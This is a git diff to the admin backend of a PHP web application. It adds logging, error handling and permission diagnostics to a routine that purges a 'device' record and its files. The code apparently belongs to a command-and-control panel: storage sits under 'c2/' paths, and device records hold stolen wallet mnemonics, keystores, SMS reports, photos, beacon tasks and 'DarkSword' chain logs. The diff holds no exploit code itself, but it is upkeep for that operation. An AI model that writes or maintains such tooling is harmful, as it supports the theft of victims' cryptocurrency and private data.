diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php
index 3ec85c2..c64e6c7 100644
--- a/app/Http/Controllers/Admin/DeviceController.php
+++ b/app/Http/Controllers/Admin/DeviceController.php
@@ -219,7 +219,29 @@ class DeviceController extends Controller
         $this->authorizeDevice($device);
 
         $listUrl = route($this->portal().'.devices.index');
-        $this->purgeDevice($device);
+        $started = microtime(true);
+        $ctx = $this->purgeContext($device);
+        Log::info('device_purge start', $ctx);
+
+        try {
+            $this->purgeDevice($device, $ctx);
+        } catch (\Throwable $e) {
+            Log::error('device_purge failed', $ctx + [
+                'ms' => (int) ((microtime(true) - $started) * 1000),
+                'error' => $e->getMessage(),
+                'class' => $e::class,
+                'at' => $e->getFile().':'.$e->getLine(),
+            ]);
+
+            return response()->json([
+                'code' => 1,
+                'msg' => '删除失败：'.$e->getMessage(),
+            ], 500);
+        }
+
+        Log::info('device_purge done', $ctx + [
+            'ms' => (int) ((microtime(true) - $started) * 1000),
+        ]);
 
         return response()->json([
             'code' => 0,
@@ -230,44 +252,66 @@ class DeviceController extends Controller
         ]);
     }
 
-    private function purgeDevice(Device $device): void
+    /**
+     * @param  array<string, mixed>  $ctx
+     */
+    private function purgeDevice(Device $device, array $ctx): void
     {
-        $this->deletePhotoFiles($device);
-        app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
-        $this->deleteStorageDir('c2/photos/'.$device->device_id);
-        $this->deleteStorageDir('c2/inbox/'.$device->device_id);
-        $this->deleteStorageDir('c2/check/'.$device->device_id);
-        $this->deleteStorageDir('c2/ds-results/'.$device->device_id);
-        $this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
-        $this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
-        $this->unmonitorAddresses($device);
-        $this->purgeDarkSwordLogs($device);
+        $this->purgeStep($ctx, 'delete_photo_files', function () use ($device, $ctx) {
+            $n = $this->deletePhotoFiles($device);
+            Log::info('device_purge photos', $ctx + ['deleted_files' => $n]);
+        });
+        $this->purgeStep($ctx, 'forget_previews', function () use ($device) {
+            app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
+        });
+        foreach ([
+            'c2/photos/'.$device->device_id,
+            'c2/inbox/'.$device->device_id,
+            'c2/check/'.$device->device_id,
+            'c2/ds-results/'.$device->device_id,
+            'c2/ds-chunks/'.$device->device_id,
+            'c2/plugin-sessions/'.$device->device_id,
+        ] as $dir) {
+            $this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx));
+        }
+        $this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device));
+        $this->purgeStep($ctx, 'purge_ds_logs', fn () => $this->purgeDarkSwordLogs($device, $ctx));
 
-        DB::transaction(function () use ($device) {
-            $device->apps()->delete();
-            $device->events()->delete();
-            $device->photos()->delete();
-            $device->notes()->delete();
-            $device->addresses()->delete();
-            $device->mnemonics()->delete();
-            $device->keystores()->delete();
-            $device->pluginSessions()->delete();
-            $device->smsReports()->delete();
-            $device->beaconTasks()->delete();
-            $device->delete();
+        $this->purgeStep($ctx, 'db_transaction', function () use ($device) {
+            DB::transaction(function () use ($device) {
+                $device->apps()->delete();
+                $device->events()->delete();
+                $device->photos()->delete();
+                $device->notes()->delete();
+                $device->addresses()->delete();
+                $device->mnemonics()->delete();
+                $device->keystores()->delete();
+                $device->pluginSessions()->delete();
+                $device->smsReports()->delete();
+                $device->beaconTasks()->delete();
+                $device->delete();
+            });
         });
     }
 
-    private function purgeDarkSwordLogs(Device $device): void
+    /**
+     * @param  array<string, mixed>  $ctx
+     */
+    private function purgeDarkSwordLogs(Device $device, array $ctx): void
     {
         $keys = $this->deviceLogKeys($device);
         if ($keys === []) {
             return;
         }
 
-        DsChainLog::query()->whereIn('client_uid', $keys)->delete();
-        PageVisit::query()->whereIn('client_uid', $keys)->delete();
-        $this->purgeDsFileLogs($keys);
+        $chain = DsChainLog::query()->whereIn('client_uid', $keys)->delete();
+        $visits = PageVisit::query()->whereIn('client_uid', $keys)->delete();
+        Log::info('device_purge ds_rows', $ctx + [
+            'keys' => $keys,
+            'ds_chain_logs' => $chain,
+            'page_visits' => $visits,
+        ]);
+        $this->purgeDsFileLogs($keys, $ctx);
     }
 
     /**
@@ -289,8 +333,9 @@ class DeviceController extends Controller
 
     /**
      * @param  list<string>  $keys
+     * @param  array<string, mixed>  $ctx
      */
-    private function purgeDsFileLogs(array $keys): void
+    private function purgeDsFileLogs(array $keys, array $ctx): void
     {
         $dir = public_path('log/ds');
         if (! is_dir($dir)) {
@@ -305,7 +350,10 @@ class DeviceController extends Controller
             return;
         }
 
-        foreach (glob($dir.'/*.log') ?: [] as $file) {
+        $files = glob($dir.'/*.log') ?: [];
+        $rewritten = 0;
+        $writeFails = [];
+        foreach ($files as $file) {
             $raw = @file_get_contents($file);
             if (! is_string($raw) || $raw === '') {
                 continue;
@@ -336,41 +384,167 @@ class DeviceController extends Controller
                 continue;
             }
             $out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
-            @file_put_contents($file, $out);
+            if (@file_put_contents($file, $out) === false) {
+                $writeFails[] = $this->pathDebug($file);
+            } else {
+                $rewritten++;
+            }
         }
+        Log::info('device_purge ds_files', $ctx + [
+            'dir' => $this->pathDebug($dir),
+            'log_files' => count($files),
+            'rewritten' => $rewritten,
+            'write_fails' => $writeFails,
+        ]);
     }
 
     private function deletePhotoFiles(Device $device): int
     {
         $deletedFiles = 0;
+        $fails = [];
+        $disk = Storage::disk('local');
         foreach ($device->photos()->get(['id', 'path']) as $photo) {
             $path = trim((string) ($photo->path ?? ''));
-            if ($path === '') {
+            if ($path === '' || ! $disk->exists($path)) {
                 continue;
             }
-            if (Storage::disk('local')->exists($path)) {
-                Storage::disk('local')->delete($path);
-                $deletedFiles++;
+            try {
+                if ($disk->delete($path)) {
+                    $deletedFiles++;
+                } else {
+                    $fails[] = $this->pathDebug($disk->path($path)) + ['photo_id' => $photo->id];
+                }
+            } catch (\Throwable $e) {
+                $fails[] = $this->pathDebug($disk->path($path)) + [
+                    'photo_id' => $photo->id,
+                    'error' => $e->getMessage(),
+                ];
             }
         }
+        if ($fails !== []) {
+            Log::warning('device_purge photo_file_fails', [
+                'id' => $device->id,
+                'device_id' => $device->device_id,
+                'fails' => array_slice($fails, 0, 8),
+                'fail_count' => count($fails),
+            ]);
+        }
 
         return $deletedFiles;
     }
 
-    private function deleteStorageDir(string $dir): void
+    /**
+     * @param  array<string, mixed>  $ctx
+     */
+    private function deleteStorageDir(string $dir, array $ctx = []): void
     {
+        $disk = Storage::disk('local');
+        $abs = $disk->path($dir);
+        $probe = $this->pathDebug($abs);
         try {
-            if (Storage::disk('local')->directoryExists($dir)) {
-                Storage::disk('local')->deleteDirectory($dir);
+            $exists = $disk->directoryExists($dir);
+        } catch (\Throwable $e) {
+            Log::warning('device_purge dir_stat_failed', $ctx + [
+                'dir' => $dir,
+                'path' => $probe,
+                'error' => $e->getMessage(),
+            ]);
+
+            return;
+        }
+        if (! $exists) {
+            return;
+        }
+        try {
+            $ok = $disk->deleteDirectory($dir);
+            if ($ok) {
+                Log::info('device_purge dir_deleted', $ctx + ['dir' => $dir, 'path' => $probe]);
+
+                return;
             }
-        } catch (\Throwable) {
+            Log::warning('device_purge dir_delete_false', $ctx + ['dir' => $dir, 'path' => $probe]);
+        } catch (\Throwable $e) {
+            Log::warning('device_purge dir_delete_failed', $ctx + [
+                'dir' => $dir,
+                'path' => $probe,
+                'error' => $e->getMessage(),
+            ]);
             try {
-                Storage::disk('local')->deleteDirectory($dir);
-            } catch (\Throwable) {
+                $disk->deleteDirectory($dir);
+            } catch (\Throwable $retry) {
+                Log::warning('device_purge dir_delete_retry_failed', $ctx + [
+                    'dir' => $dir,
+                    'path' => $this->pathDebug($abs),
+                    'error' => $retry->getMessage(),
+                ]);
             }
         }
     }
 
+    /**
+     * @param  array<string, mixed>  $ctx
+     */
+    private function purgeStep(array $ctx, string $step, callable $fn): void
+    {
+        $t = microtime(true);
+        Log::info('device_purge step', $ctx + ['step' => $step]);
+        try {
+            $fn();
+        } catch (\Throwable $e) {
+            Log::error('device_purge step_failed', $ctx + [
+                'step' => $step,
+                'ms' => (int) ((microtime(true) - $t) * 1000),
+                'error' => $e->getMessage(),
+                'class' => $e::class,
+                'at' => $e->getFile().':'.$e->getLine(),
+            ]);
+            throw $e;
+        }
+    }
+
+    /**
+     * @return array<string, mixed>
+     */
+    private function purgeContext(Device $device): array
+    {
+        $uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
+        $user = function_exists('posix_getpwuid')
+            ? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
+            : (string) $uid;
+
+        return [
+            'id' => $device->id,
+            'device_id' => $device->device_id,
+            'php_user' => $user,
+            'php_uid' => $uid,
+        ];
+    }
+
+    /**
+     * @return array<string, mixed>
+     */
+    private function pathDebug(string $abs): array
+    {
+        $info = [
+            'abs' => $abs,
+            'exists' => file_exists($abs),
+            'is_dir' => is_dir($abs),
+            'readable' => is_readable($abs),
+            'writable' => is_writable($abs),
+        ];
+        if (! file_exists($abs)) {
+            return $info;
+        }
+        $info['perms'] = substr(sprintf('%o', (int) fileperms($abs)), -4);
+        $ownerUid = @fileowner($abs);
+        $info['owner_uid'] = $ownerUid;
+        if (function_exists('posix_getpwuid') && is_int($ownerUid)) {
+            $info['owner'] = posix_getpwuid($ownerUid)['name'] ?? (string) $ownerUid;
+        }
+
+        return $info;
+    }
+
     private function unmonitorAddresses(Device $device): void
     {
         $addresses = $device->addresses()->where('monitor', 1)->get();
diff --git a/app/Services/PhotoPreview.php b/app/Services/PhotoPreview.php
index a00b778..2a25277 100644
--- a/app/Services/PhotoPreview.php
+++ b/app/Services/PhotoPreview.php
@@ -71,10 +71,20 @@ class PhotoPreview
             if (Storage::disk('local')->directoryExists($dir)) {
                 Storage::disk('local')->deleteDirectory($dir);
             }
-        } catch (\Throwable) {
+        } catch (\Throwable $e) {
+            Log::warning('photo_preview forget_failed', [
+                'device_key' => $deviceKey,
+                'dir' => $dir,
+                'error' => $e->getMessage(),
+            ]);
             try {
                 Storage::disk('local')->deleteDirectory($dir);
-            } catch (\Throwable) {
+            } catch (\Throwable $retry) {
+                Log::warning('photo_preview forget_retry_failed', [
+                    'device_key' => $deviceKey,
+                    'dir' => $dir,
+                    'error' => $retry->getMessage(),
+                ]);
             }
         }
     }